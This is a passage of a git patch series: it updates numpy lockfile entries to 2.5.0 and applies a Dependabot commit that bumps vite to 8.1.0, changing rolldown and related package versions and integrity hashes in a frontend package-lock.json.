"https://files.pythonhosted.org/packages/af/57/3917ab0fd97f271a8694513581b8a36c655f111c446852c302f04ccdb6fc/numpy-2.4.6-cp313-cp313t-macosx_14_0_x86_64.whl", hash = "sha256:7265a2f3d436e54ef9f2b52b5c937e6be778781bd97a590319d7348f1c1ca997", size = 6646763, upload-time = "2026-05-18T23:35:11.459Z" }, - { url = "https://files.pythonhosted.org/packages/eb/0f/037e64c494b67581ae18193d770adef354c41f3f2c8ebf865602d949bf8f/numpy-2.4.6-cp313-cp313t-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f74a575920ab21fe304421a3fc28793d82e299cae9eccb37084e9fc7f3617c20", size = 15728070, upload-time = "2026-05-18T23:35:14.79Z" }, - { url = "https://files.pythonhosted.org/packages/21/a6/5d2bae9c9542eb4df16dc9c46dc79c186e9bad53805dfa5399a6023c6db0/numpy-2.4.6-cp313-cp313t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ede83e07a75dd06bc501566c1eca2afc0d61677c1472ac9ad93fdee6e638a48d", size = 16681752, upload-time = "2026-05-18T23:35:18.836Z" }, - { url = "https://files.pythonhosted.org/packages/92/14/23d1dfb410ae362cd59ce53e936b1513d545eb40db3949ced632e19a459e/numpy-2.4.6-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:68bb27509ac1b9a3443094260f6326150663b06abe40b73a2f81160623da5b67", size = 17086024, upload-time = "2026-05-18T23:35:22.52Z" }, - { url = "https://files.pythonhosted.org/packages/4b/6e/23595a2c642cdf3bc567877064bdd7f91c8b0038a4453cf2daf7248eafe9/numpy-2.4.6-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:a0df0043bdb289bde1f62da130d20df23d58b45429f752bc7a8fc5325a225ecd", size = 18403398, upload-time = "2026-05-18T23:35:26.398Z" }, - { url = "https://files.pythonhosted.org/packages/8a/90/0ac3bc947217e66dec77e7cbc6a1979d1af70b6461b82f620d3bccd5e4c8/numpy-2.4.6-cp313-cp313t-win32.whl", hash = "sha256:29a287e0cf63ff528da061de6b9f64a4618da591ca1046aafc54062e40ca7eab", size = 6084971, upload-time = "2026-05-18T23:35:29.387Z" }, - { url = "https://files.pythonhosted.org/packages/77/71/5673e351671a1d2bd6063b91b44f70c0affea7d1516fa7a6572941ba4aa1/numpy-2.4.6-cp313-cp313t-win_amd64.whl", hash = "sha256:25c692919ac5a01f170a3bfcd62d745b24fd095c353d50812637d6fcab442e75", size = 12458532, upload-time = "2026-05-18T23:35:32.175Z" }, - { url = "https://files.pythonhosted.org/packages/3f/88/19d3503c5046e688f049274b27a3ef3d771152fa80d3ba3d01a3dff61abe/numpy-2.4.6-cp313-cp313t-win_arm64.whl", hash = "sha256:1e978ec1e8bd0e0e4de6bb75de9d30cbb74db6b6a2bb727618613703ca0167dd", size = 10291881, upload-time = "2026-05-18T23:35:35.465Z" }, +version = "2.5.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/e7/05/3d27272d30698dc0ecb7fdfaa41ad70303b444f81722bb99bce1d818638a/numpy-2.5.0.tar.gz", hash = "sha256:5a129578019311b6e56bdd714250f19b518f7dceeeb8d1af5490f4942d3f891c", size = 20652461, upload-time = "2026-06-21T20:57:51.95Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/8a/33/07675aaad7f26ea013d5e884d9a0d784b79c6bd7566c333f5a52fa3c610b/numpy-2.5.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:520e6b8be0a4b65840ac8090d4f51cef4bed66e2b0894d5a520f099adc24a9b2", size = 16784890, upload-time = "2026-06-21T20:56:40.799Z" }, + { url = "https://files.pythonhosted.org/packages/85/4b/953118a730ee3b35e28645e0eb4cf9beec5bdbb954e1ac2f5fcefba6bbc3/numpy-2.5.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:146b81cdd3967fdb6beca8ba25f00c58741d8f3cbd797f55af0fbe0bfec3469c", size = 11754584, upload-time = "2026-06-21T20:56:43.094Z" }, + { url = "https://files.pythonhosted.org/packages/44/9b/56dd530c367c74ae17411027cea4135ca57e1e0583bf5594cee18bd83217/numpy-2.5.0-cp313-cp313-macosx_14_0_arm64.whl", hash = "sha256:126b88d95e8ff9b00c9e717aa540469f21d6180162f84c0caec51b16215d49cd", size = 5313904, upload-time = "2026-06-21T20:56:45.503Z" }, + { url = "https://files.pythonhosted.org/packages/ce/b0/bcd672edad27ecca7da1f7bb0ce72cd1706a4f2d79ae94990afc97c13e1c/numpy-2.5.0-cp313-cp313-macosx_14_0_x86_64.whl", hash = "sha256:d4313cef1594c5ce46c31b6e54e918338f63f16ee9322304e8c9114d6d81c8bd", size = 6648504, upload-time = "2026-06-21T20:56:47.567Z" }, + { url = "https://files.pythonhosted.org/packages/80/9e/15cdfcbd30a1544a46c9e487a00df331c4672450216538705a9e51fa6710/numpy-2.5.0-cp313-cp313-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:750fb097caf26fa878746d9d119f6f9da12dedcbff1eea966c3e3447647c4a9e", size = 15150086, upload-time = "2026-06-21T20:56:49.352Z" }, + { url = "https://files.pythonhosted.org/packages/32/4e/8d7656ccaab3e81e97258b8a9bc5f0c8502513a92fb4ceb0a2cbfebc17bf/numpy-2.5.0-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:3893adc2dc7c0412ba76777db55a049215d99c9aa3113003be8f49f4f1290ab9", size = 16647250, upload-time = "2026-06-21T20:56:51.542Z" }, + { url = "https://files.pythonhosted.org/packages/3c/81/97060281b602ed07f21b12f4ec409eac1f75a2f91fbc829ed8b2becf3ad4/numpy-2.5.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:835e454dd99b238cdc5a3f63bce2371296f5ebc53ca1e0f8e6ddbb6d92a29aab", size = 16512864, upload-time = "2026-06-21T20:56:55.401Z" }, + { url = "https://files.pythonhosted.org/packages/33/ab/4496208146911f8d8ddb54f68a972aafa6c8d44babcb2ea03b0e5cc87c9d/numpy-2.5.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:6f9836778081a0a3c02a6a21493f3e9f5b311f8d2541934f31f05583dc999ea4", size = 18408407, upload-time = "2026-06-21T20:56:57.75Z" }, + { url = "https://files.pythonhosted.org/packages/d4/9f/a4df67c181e4ee8b467aa3332dc2db10fd5c515136831302f3ca48bc0a01/numpy-2.5.0-cp313-cp313-win32.whl", hash = "sha256:0b525be4744b60bb0557ac872d53ef07d085b5f39622bc579c98d3809d05b988", size = 6054431, upload-time = "2026-06-21T20:57:00.016Z" }, + { url = "https://files.pythonhosted.org/packages/30/53/491e1c47c55b62ccc6a63c1c5b8635c73fc2258dddeb9bda27cae4a0ae96/numpy-2.5.0-cp313-cp313-win_amd64.whl", hash = "sha256:44353e2878930039db472b99dc353d749826e4010bd4d2a7f835e94a97a5c748", size = 12414420, upload-time = "2026-06-21T20:57:01.815Z" }, + { url = "https://files.pythonhosted.org/packages/eb/4a/25c2906f541e9d9f4c5769764db732e6627be91a13f4724fa10634d77db4/numpy-2.5.0-cp313-cp313-win_arm64.whl", hash = "sha256:48f54b00711f83a5f796b70c518e8c2b3c5848dda03a54911f23eb68519b9b60", size = 10339533, upload-time = "2026-06-21T20:57:03.961Z" }, ] [[package]] From 9d46c5ee87e0c7de4a55db64766a192cc9ae29ba Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Tue, 23 Jun 2026 21:27:34 +0200 Subject: [PATCH 055/131] build(deps-dev): bump vite from 8.0.16 to 8.1.0 in /frontend (#1427) Bumps [vite](https://github.com/vitejs/vite/tree/HEAD/packages/vite) from 8.0.16 to 8.1.0. - [Release notes](https://github.com/vitejs/vite/releases) - [Changelog](https://github.com/vitejs/vite/blob/main/packages/vite/CHANGELOG.md) - [Commits](https://github.com/vitejs/vite/commits/create-vite@8.1.0/packages/vite) --- updated-dependencies: - dependency-name: vite dependency-version: 8.1.0 dependency-type: direct:development update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- frontend/package-lock.json | 204 ++++++++++++++++++++----------------- frontend/package.json | 2 +- 2 files changed, 112 insertions(+), 94 deletions(-) diff --git a/frontend/package-lock.json b/frontend/package-lock.json index a373d5816..74475f662 100644 --- a/frontend/package-lock.json +++ b/frontend/package-lock.json @@ -37,7 +37,7 @@ "jsdom": "^29.1.1", "prettier": "^3.8.4", "stylelint": "^17.13.0", - "vite": "^8.0.16", + "vite": "^8.1.0", "vitest": "^4.1.9" } }, @@ -533,21 +533,21 @@ } }, "node_modules/@emnapi/core": { - "version": "1.10.0", - "resolved": "https://registry.npmjs.org/@emnapi/core/-/core-1.10.0.tgz", - "integrity": "sha512-yq6OkJ4p82CAfPl0u9mQebQHKPJkY7WrIuk205cTYnYe+k2Z8YBh11FrbRG/H6ihirqcacOgl2BIO8oyMQLeXw==", + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@emnapi/core/-/core-1.11.1.tgz", + "integrity": "sha512-RSvbQmHzdKzNsLYa/wHrbc3KN4sYLKAdPZxqiM2HATqv/SBk2/ENSHpvXGaLOMcsAyz0poEGqkmmKYG3OWiJEQ==", "dev": true, "license": "MIT", "optional": true, "dependencies": { - "@emnapi/wasi-threads": "1.2.1", + "@emnapi/wasi-threads": "1.2.2", "tslib": "^2.4.0" } }, "node_modules/@emnapi/runtime": { - "version": "1.10.0", - "resolved": "https://registry.npmjs.org/@emnapi/runtime/-/runtime-1.10.0.tgz", - "integrity": "sha512-ewvYlk86xUoGI0zQRNq/mC+16R1QeDlKQy21Ki3oSYXNgLb45GV1P6A0M+/s6nyCuNDqe5VpaY84BzXGwVbwFA==", + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@emnapi/runtime/-/runtime-1.11.1.tgz", + "integrity": "sha512-vgj7R3y3Wgx24IQaGPA/R6YFXLHVMOZ0uVEyIQPaWs+rd1AzfEMXlAC22FYwO1XkKR6NPsq7mUandH8oIRdZFw==", "dev": true, "license": "MIT", "optional": true, @@ -556,9 +556,9 @@ } }, "node_modules/@emnapi/wasi-threads": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/@emnapi/wasi-threads/-/wasi-threads-1.2.1.tgz", - "integrity": "sha512-uTII7OYF+/Mes/MrcIOYp5yOtSMLBWSIoLPpcgwipoiKbli6k322tcoFsxoIIxPDqW01SQGAgko4EzZi2BNv2w==", + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/@emnapi/wasi-threads/-/wasi-threads-1.2.2.tgz", + "integrity": "sha512-c95qOXkHdydNKhscBTebqEC1CVAZpyqOfVfBzQ1qgzyl3gfeldUjIggDbIZgDKsHLgnsM+igH7TJ/eAasaVuMA==", "dev": true, "license": "MIT", "optional": true, @@ -1058,14 +1058,14 @@ } }, "node_modules/@napi-rs/wasm-runtime": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/@napi-rs/wasm-runtime/-/wasm-runtime-1.1.4.tgz", - "integrity": "sha512-3NQNNgA1YSlJb/kMH1ildASP9HW7/7kYnRI2szWJaofaS1hWmbGI4H+d3+22aGzXXN9IJ+n+GiFVcGipJP18ow==", + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/@napi-rs/wasm-runtime/-/wasm-runtime-1.1.5.tgz", + "integrity": "sha512-AWPoBRJ9tsnVhor4sjO7rkni+7p+2IAEFj6cx06UgP10jkQHqay/36uRV/bFkgrh18D9vb4cr8Q0Pthskgzy+Q==", "dev": true, "license": "MIT", "optional": true, "dependencies": { - "@tybys/wasm-util": "^0.10.1" + "@tybys/wasm-util": "^0.10.2" }, "funding": { "type": "github", @@ -1115,9 +1115,9 @@ } }, "node_modules/@oxc-project/types": { - "version": "0.133.0", - "resolved": "https://registry.npmjs.org/@oxc-project/types/-/types-0.133.0.tgz", - "integrity": "sha512-KzkdCd6Uxqnf6l3HOw1xfatAlUURA0g14cvBYFyJ5SaNOQbOUvBr9PKArcPcrNIeRsBdgcUzOGrhKveVpvOIGA==", + "version": "0.137.0", + "resolved": "https://registry.npmjs.org/@oxc-project/types/-/types-0.137.0.tgz", + "integrity": "sha512-WT+Gb24i8hmvo85AIv2oEYouEXkRlKAlT9WaCa3TfLgNCN+GhrJOGZuIlMouAh38Qe4QOx26eUOVsq70qXrywA==", "dev": true, "license": "MIT", "funding": { @@ -1467,9 +1467,9 @@ } }, "node_modules/@rolldown/binding-android-arm64": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/@rolldown/binding-android-arm64/-/binding-android-arm64-1.0.3.tgz", - "integrity": "sha512-454rs7jHngixp/NMxd5srYD57OnzSlZ/eFTETjORQHLwJG1lRtmNOJcBerZlfu4GjKqeq8aCCIQrMdHyhI51Hw==", + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@rolldown/binding-android-arm64/-/binding-android-arm64-1.1.2.tgz", + "integrity": "sha512-2cZ+7xRS+DBcuJBJKnfzsbleumJhBqSlJVpuzHC0nTqfd3QQ7Vx2/x5YR/D7cBamKSeWplwo82Fn9lqYUDEMfA==", "cpu": [ "arm64" ], @@ -1484,9 +1484,9 @@ } }, "node_modules/@rolldown/binding-darwin-arm64": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/@rolldown/binding-darwin-arm64/-/binding-darwin-arm64-1.0.3.tgz", - "integrity": "sha512-PcAhP+ynjURNyy8SKGl5DQP94aGuB/7JrXJb/t7P+hanXvQVMWzUvRRhBAcg/lNRadBhoUPqSoP4xw5tR/KBEA==", + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@rolldown/binding-darwin-arm64/-/binding-darwin-arm64-1.1.2.tgz", + "integrity": "sha512-RkPMJnygxsgOYdkfqgpwY0/Fzm8d0VQe6HGU2/B00Xa9eqdLbrII+DOKAodbJAn3ZL1AJxGHkZRPYazgGY6Ljw==", "cpu": [ "arm64" ], @@ -1501,9 +1501,9 @@ } }, "node_modules/@rolldown/binding-darwin-x64": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/@rolldown/binding-darwin-x64/-/binding-darwin-x64-1.0.3.tgz", - "integrity": "sha512-9YpfeUvSE2RS7wysJ81uOZkXJz7f7Q55H2Gvp3VEw/EsahqDtrphrZ0EwDLK5vvKOzaCrBsjF8JmnMLcUt78Gg==", + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@rolldown/binding-darwin-x64/-/binding-darwin-x64-1.1.2.tgz", + "integrity": "sha512-Uiczh6vFhwyfd7WNe7Q7mCA4KxAiLdz7jPE/WGizfRpIieoyFuNVMmM8HqZ9HwudTkY6/AeMQwlNJ9NJijguWw==", "cpu": [ "x64" ], @@ -1518,9 +1518,9 @@ } }, "node_modules/@rolldown/binding-freebsd-x64": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/@rolldown/binding-freebsd-x64/-/binding-freebsd-x64-1.0.3.tgz", - "integrity": "sha512-yB1IlAsSNHncV6SCTL27/MVGR5htvQsoGxIv5KMGXALp+Ll1wYsn+x98M9MW7qa+NdSbvrrY7ANI4wLJ0n1e6g==", + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@rolldown/binding-freebsd-x64/-/binding-freebsd-x64-1.1.2.tgz", + "integrity": "sha512-+TpdtTRgHiJFjCVFbw311SuLk3KfytPOQQn+VlAEv+gBxYPtL7E6JS9e/tk+8CwxhIZvemJKo4rTKgfWNsKkkA==", "cpu": [ "x64" ], @@ -1535,9 +1535,9 @@ } }, "node_modules/@rolldown/binding-linux-arm-gnueabihf": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm-gnueabihf/-/binding-linux-arm-gnueabihf-1.0.3.tgz", - "integrity": "sha512-Yi30IVAAfLUCy2MseFjbB1jAMDl1VMCAas5StnYp8da9+CKvMd2H2cbEjWcw5NPaPqzvYkVIaF1nNUG+b7u/sw==", + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm-gnueabihf/-/binding-linux-arm-gnueabihf-1.1.2.tgz", + "integrity": "sha512-4lv1/tkmi7ueIVHnyreaOeUpiZP26BH9rRy6hoYfR9310A2B9nUEVRDvBx69vx64Nr3eTPPRkyciqJJs+j9Jmw==", "cpu": [ "arm" ], @@ -1552,13 +1552,16 @@ } }, "node_modules/@rolldown/binding-linux-arm64-gnu": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm64-gnu/-/binding-linux-arm64-gnu-1.0.3.tgz", - "integrity": "sha512-jsO7R8To+AdlYgUmN5sHSCZbfhtMBkO0WUx8iORQnPcMMdgr7qM2DQmMwgabs3GhNztdmoKkMKQFHD6DTMCIQw==", + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm64-gnu/-/binding-linux-arm64-gnu-1.1.2.tgz", + "integrity": "sha512-gBSUVO0eaWgw1JMjK3gB8BMlX2Mk148s2lTiVT3e9vjVxbl7UDfMWWY8CfIaaqiXuM9fVTMxIpUz6CAo/B6Vlw==", "cpu": [ "arm64" ], "dev": true, + "libc": [ + "glibc" + ], "license": "MIT", "optional": true, "os": [ @@ -1569,13 +1572,16 @@ } }, "node_modules/@rolldown/binding-linux-arm64-musl": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm64-musl/-/binding-linux-arm64-musl-1.0.3.tgz", - "integrity": "sha512-VWkUHwWriDciit80wleYwKILoR/KMvxh/IdwS/paX+ZgpuRpCrKLUdadJbc0NpBEiyhpYawsJ73j9aCvOH+f7Q==", + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm64-musl/-/binding-linux-arm64-musl-1.1.2.tgz", + "integrity": "sha512-LjQP/iZLBu8o8PjIfk4x3At0/mT6h282pvz8Z5LAyhGbu/kDezyO7ea62rF5uoqmgnIYqbN/MqJ3Si3Aymi7xQ==", "cpu": [ "arm64" ], "dev": true, + "libc": [ + "musl" + ], "license": "MIT", "optional": true, "os": [ @@ -1586,13 +1592,16 @@ } }, "node_modules/@rolldown/binding-linux-ppc64-gnu": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-ppc64-gnu/-/binding-linux-ppc64-gnu-1.0.3.tgz", - "integrity": "sha512-5f1laC0SlIR0yDbFCd8acUhvJIag6N3zC5P7oUPN6wX0aOma+uKJ0wBDH5aq7I1PVI2ttTlhJwzwRIBnLiSGEg==", + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-ppc64-gnu/-/binding-linux-ppc64-gnu-1.1.2.tgz", + "integrity": "sha512-X/7bVLWelEsbyWDUSXt7zVsTniLLPIY2n1rH58qr78l9i7MNbbxBWD8gI2vRfBWf4NUXJCUuQnfZDsp32LqsfQ==", "cpu": [ "ppc64" ], "dev": true, + "libc": [ + "glibc" + ], "license": "MIT", "optional": true, "os": [ @@ -1603,13 +1612,16 @@ } }, "node_modules/@rolldown/binding-linux-s390x-gnu": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-s390x-gnu/-/binding-linux-s390x-gnu-1.0.3.tgz", - "integrity": "sha512-Iq4ko0r4XsgbrF/LunNgHtAGLRRVE2kXonAXQ/MV0mC6jQpMOhW1SvtZja2EhC/kd05++bP78dsqBeIQyYJ6Yg==", + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-s390x-gnu/-/binding-linux-s390x-gnu-1.1.2.tgz", + "integrity": "sha512-gb6dYKW/1KDorGXyy48glEBJs/sxVSC5pcVrox/pFGV4mvwSFeg2sK5L2tRkVsVlh7kueqOgg4GEcuipJcGuKg==", "cpu": [ "s390x" ], "dev": true, + "libc": [ + "glibc" + ], "license": "MIT", "optional": true, "os": [ @@ -1620,13 +1632,16 @@ } }, "node_modules/@rolldown/binding-linux-x64-gnu": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-x64-gnu/-/binding-linux-x64-gnu-1.0.3.tgz", - "integrity": "sha512-B8m6tD5+/N5FeNQFbKlLA/2yVq9ycQP1SeedyEYYKWBNR3ZQbkvIUcNnDNM03lO1l5F2roiiFJGgvoLLyZXtSg==", + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-x64-gnu/-/binding-linux-x64-gnu-1.1.2.tgz", + "integrity": "sha512-JY4w85pU3iAiJVMh5nuk4/Mh9GjMsupe8MrIN53rwxAZW64GKrWeJBuN6SxQg9QTU5uB1cxyhDzW8jqRn1EABw==", "cpu": [ "x64" ], "dev": true, + "libc": [ + "glibc" + ], "license": "MIT", "optional": true, "os": [ @@ -1637,13 +1652,16 @@ } }, "node_modules/@rolldown/binding-linux-x64-musl": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-x64-musl/-/binding-linux-x64-musl-1.0.3.tgz", - "integrity": "sha512-pSdpdUJHkuCxun9LE7jvgUB9qsRgaiyNNCX7m/AvHTcq67AiT/Yhoxvw5zPfhrM8k/BfP8ce/hMOpthKDpEUow==", + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-x64-musl/-/binding-linux-x64-musl-1.1.2.tgz", + "integrity": "sha512-xvpA7o5KCYLB0Rwscmuylb1/zHHSUx4g4xilm4prC5jP76pEUlzBmMbgpbh7bVDbId4NcfT96gN5i6mE6UDaiw==", "cpu": [ "x64" ], "dev": true, + "libc": [ + "musl" + ], "license": "MIT", "optional": true, "os": [ @@ -1654,9 +1672,9 @@ } }, "node_modules/@rolldown/binding-openharmony-arm64": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/@rolldown/binding-openharmony-arm64/-/binding-openharmony-arm64-1.0.3.tgz", - "integrity": "sha512-OXXS3RKJgX2uLwM+gYyuH5omcH8fL1LJs96pZGgtetVCahON57+d4SJHzTgZiOjxgGkSnpXpOsWuPDGAKAigEg==", + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@rolldown/binding-openharmony-arm64/-/binding-openharmony-arm64-1.1.2.tgz", + "integrity": "sha512-p/ts6KBLjuk49Bp21XH77poQGt02iNz7ChgHep7tudPOaLinR/De/RHdxF8w8Yj4r/bF/bqXwH6PZrB2sA+Nvw==", "cpu": [ "arm64" ], @@ -1671,9 +1689,9 @@ } }, "node_modules/@rolldown/binding-wasm32-wasi": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/@rolldown/binding-wasm32-wasi/-/binding-wasm32-wasi-1.0.3.tgz", - "integrity": "sha512-JTtb8BWFynicNSoPrehsCzBtOKjZ6jhMiPFEmOiuXg1Fl8dn2KHQob+GuPSGR0dryQa1PQJbzjF3dqO/whhjLg==", + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@rolldown/binding-wasm32-wasi/-/binding-wasm32-wasi-1.1.2.tgz", + "integrity": "sha512-VMu/wmrZ9hJzYlRhbw7jK5PODlugyKZ5mOdX78+lS8OvuFkWNQdz1pFLrI2p3P0pjXOmUZ7B48o5VnMH9QOGtg==", "cpu": [ "wasm32" ], @@ -1681,18 +1699,18 @@ "license": "MIT", "optional": true, "dependencies": { - "@emnapi/core": "1.10.0", - "@emnapi/runtime": "1.10.0", - "@napi-rs/wasm-runtime": "^1.1.4" + "@emnapi/core": "1.11.1", + "@emnapi/runtime": "1.11.1", + "@napi-rs/wasm-runtime": "^1.1.5" }, "engines": { "node": "^20.19.0 || >=22.12.0" } }, "node_modules/@rolldown/binding-win32-arm64-msvc": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/@rolldown/binding-win32-arm64-msvc/-/binding-win32-arm64-msvc-1.0.3.tgz", - "integrity": "sha512-gEdFFEN70A/jxb2svrWsN3aDL7OUtmvlOy+6fa2jxG8K0wQ1ZbdeLGnidov6Yu5/733dI5ySfzFlQ/cb0bSz1g==", + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@rolldown/binding-win32-arm64-msvc/-/binding-win32-arm64-msvc-1.1.2.tgz", + "integrity": "sha512-xtUJqs8qEkuSviS0n1tsohaPuz3a1SPhZywOji4Oo+sgrJs8daEDMZ0QtqL0OS7dx8PoVpg2J/ZZycPY5I2+Zg==", "cpu": [ "arm64" ], @@ -1707,9 +1725,9 @@ } }, "node_modules/@rolldown/binding-win32-x64-msvc": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/@rolldown/binding-win32-x64-msvc/-/binding-win32-x64-msvc-1.0.3.tgz", - "integrity": "sha512-eXB7CHuaQdqmJcc3koCNtNPmT/bj2gc999kUFgBxG8Ac0NdgXc4rkCHhqrgrhN3zddvvvrgzj1e90SuSfmyIXA==", + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@rolldown/binding-win32-x64-msvc/-/binding-win32-x64-msvc-1.1.2.tgz", + "integrity": "sha512-85YiLQqjUKgSO/Zjnf9e0XIn5Ymrh1fLDWBeAkZqpuBR/3R8TpfoHXuyblqyQrftSSgWO9qpcHN8mkyKsLraoA==", "cpu": [ "x64" ], @@ -1879,9 +1897,9 @@ } }, "node_modules/@tybys/wasm-util": { - "version": "0.10.2", - "resolved": "https://registry.npmjs.org/@tybys/wasm-util/-/wasm-util-0.10.2.tgz", - "integrity": "sha512-RoBvJ2X0wuKlWFIjrwffGw1IqZHKQqzIchKaadZZfnNpsAYp2mM0h36JtPCjNDAHGgYez/15uMBpfGwchhiMgg==", + "version": "0.10.3", + "resolved": "https://registry.npmjs.org/@tybys/wasm-util/-/wasm-util-0.10.3.tgz", + "integrity": "sha512-F3fo1MYrRJYL3zER0OUOmkutjr1Vp23m7OsSgp7nq4SP6OqX6C/56XFIPAl5bt3zaBRjmW7SGz3u/6LwFpYcOg==", "dev": true, "license": "MIT", "optional": true, @@ -5963,13 +5981,13 @@ } }, "node_modules/rolldown": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/rolldown/-/rolldown-1.0.3.tgz", - "integrity": "sha512-i00lAJ2ks1BYr7rjNjKC7BcqAS7nVfiT3QX1SI5aY+AFHblCmaUf9OE9dbdzDvW6dJxbi2ZCZiy9v3CcwOiX3g==", + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/rolldown/-/rolldown-1.1.2.tgz", + "integrity": "sha512-x0CrQQqCXWGeI8dTvFfN/Dnv3yMKT9hv5jFjlOreKAx9wqLq9wz7VvLLHyaAXC90/CpggTu9SisSbsJJTPSjNQ==", "dev": true, "license": "MIT", "dependencies": { - "@oxc-project/types": "=0.133.0", + "@oxc-project/types": "=0.137.0", "@rolldown/pluginutils": "^1.0.0" }, "bin": { @@ -5979,21 +5997,21 @@ "node": "^20.19.0 || >=22.12.0" }, "optionalDependencies": { - "@rolldown/binding-android-arm64": "1.0.3", - "@rolldown/binding-darwin-arm64": "1.0.3", - "@rolldown/binding-darwin-x64": "1.0.3", - "@rolldown/binding-freebsd-x64": "1.0.3", - "@rolldown/binding-linux-arm-gnueabihf": "1.0.3", - "@rolldown/binding-linux-arm64-gnu": "1.0.3", - "@rolldown/binding-linux-arm64-musl": "1.0.3", - "@rolldown/binding-linux-ppc64-gnu": "1.0.3", - "@rolldown/binding-linux-s390x-gnu": "1.0.3", - "@rolldown/binding-linux-x64-gnu": "1.0.3", - "@rolldown/binding-linux-x64-musl": "1.0.3", - "@rolldown/binding-openharmony-arm64": "1.0.3", - "@rolldown/binding-wasm32-wasi": "1.0.3", - "@rolldown/binding-win32-arm64-msvc": "1.0.3", - "@rolldown/binding-win32-x64-msvc": "1.0.3" + "@rolldown/binding-android-arm64": "1.1.2", + "@rolldown/binding-darwin-arm64": "1.1.2", + "@rolldown/binding-darwin-x64": "1.1.2", + "@rolldown/binding-freebsd-x64": "1.1.2", + "@rolldown/binding-linux-arm-gnueabihf": "1.1.2", + "@rolldown/binding-linux-arm64-gnu": "1.1.2", + "@rolldown/binding-linux-arm64-musl": "1.1.2", + "@rolldown/binding-linux-ppc64-gnu": "1.1.2", + "@rolldown/binding-linux-s390x-gnu": "1.1.2", + "@rolldown/binding-linux-x64-gnu": "1.1.2", + "@rolldown/binding-linux-x64-musl": "1.1.2", + "@rolldown/binding-openharmony-arm64": "1.1.2", + "@rolldown/binding-wasm32-wasi": "1.1.2", + "@rolldown/binding-win32-arm64-msvc": "1.1.2", + "@rolldown/binding-win32-x64-msvc": "1.1.2" } }, "node_modules/rtl-css-js": { @@ -6901,16 +6919,16 @@ } }, "node_modules/vite": { - "version": "8.0.16", - "resolved": "https://registry.npmjs.org/vite/-/vite-8.0.16.tgz", - "integrity": "sha512-h9bXPmJichP5fLmVQo3PyaGSDE2n3aPuomeAlVRm0JLmt4rY6zmPKd59HYI4LNW8oTK7tlTsuC7l/m7awx9Jcw==", + "version": "8.1.0", + "resolved": "https://registry.npmjs.org/vite/-/vite-8.1.0.tgz", + "integrity": "sha512-BuJcQK/56NQTWDGn4ABea3q4SSBdNPWwNZKTkkUpcMPnLoquSYH8llRtSUIgoL1KSCpHt5eghLShn50mH36y7Q==", "dev": true, "license": "MIT", "dependencies": { "lightningcss": "^1.32.0", "picomatch": "^4.0.4", "postcss": "^8.5.15", - "rolldown": "1.0.3", + "rolldown": "~1.1.2", "tinyglobby": "^0.2.17" }, "bin": { @@ -6927,7 +6945,7 @@ }, "peerDependencies": { "@types/node": "^20.19.0 || >=22.12.0", - "@vitejs/devtools": "^0.1.18", + "@vitejs/devtools": "^0.3.0", "esbuild": "^0.27.0 || ^0.28.0", "jiti": ">=1.21.0", "less": "^4.0.0", diff --git a/frontend/package.json b/frontend/package.json index 1af514813..c450578b3 100644 --- a/frontend/package.json +++ 